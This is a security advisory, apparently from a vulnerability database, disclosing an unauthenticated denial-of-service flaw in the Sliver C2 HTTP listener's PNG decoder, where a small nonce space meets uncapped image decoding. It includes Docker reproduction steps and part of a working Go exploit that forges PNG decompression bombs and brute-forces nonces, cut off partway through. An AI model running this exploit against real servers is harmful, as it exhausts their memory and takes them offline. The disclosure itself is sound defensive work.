Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

### Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. ### Details The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go` ```go const ( EncoderModulus = uint64(65537) ) ``` The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: `util/encoders/images.go` ```go func (p PNGEncoder) Encode(data []byte) ([]byte, error) { img := imageFromBytes(data) var buf bytes.Buffer encoder.Encode(&buf, img) return buf.Bytes(), nil } func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil } ``` ### PoC The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused. Get the latest version of Sliver (Currently 1.7.3) ```bash git clone https://github.com/BishopFox/sliver.git ``` Build the Docker container: ```bash cd sliver docker build -t sliver-test:local -f Dockerfile . ``` Run the Docker container with a memory cap for example 4GB: ```bash docker run --rm \ --name sliver-test \ --memory=4g \ -p 8080:8080 \ -it \ sliver-test:local ``` After the Docker container starts, create an http listener on port 8080: ```bash http -L 0.0.0.0 -l 8080 ``` In a seperate terminal create the following Go project: `go.mod` ```Go module pngboomer go 1.25 ``` `poc.go` ```Go // pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill. // // SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run // it against a Docker container with --memory=<N>g and pass -target-cap-mb N // so the tool can refuse dangerous worker/probe combos. // // Build: go build -o pngboomer // Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240 package main import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" ) // ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 } // PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i < H; i++ { zw.Write(row) } zw.Close() ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(W)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(H)) ihdr[8], ihdr[9] = 8, byte(ct) out := []byte("\x89PNG\r\n\x1a\n") out = append(out, chunk("IHDR", ihdr)...) out = append(out, chunk("IDAT", zb.Bytes())...) return append(out, chunk("IEND", nil)...) } // HTTP helpers func hostPort(u string) string { p, _ := url.Parse(u) if p.Port() != "" { return p.Hostname() + ":" + p.Port() } if p.Scheme == "https" { return p.Hostname() + ":443" } return p.Hostname() + ":80" } func alive(hp string, t time.Duration) bool { c, err := net.DialTimeout("tcp", hp, t) if err != nil { return false } c.Close() return true } func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration { req, _ := http.NewRequestWithContext(ctx, "POST", fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body)) req.Header.Set("Content-Type", "application/octet-stream") t := time.Now() resp, err := cli.Do(req) dt := time.Since(t) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } return dt } type hit struct { n uint64 dt time.Duration } func main() { target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL") workers := flag.Int("workers", 8, "scan concurrency") probeW := flag.Int("probe-w", 2000, "probe PNG width") probeH := flag.Int("probe-h", 2000, "probe PNG height") probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA") killW := flag.Int("kill-w", 32767, "kill PNG width…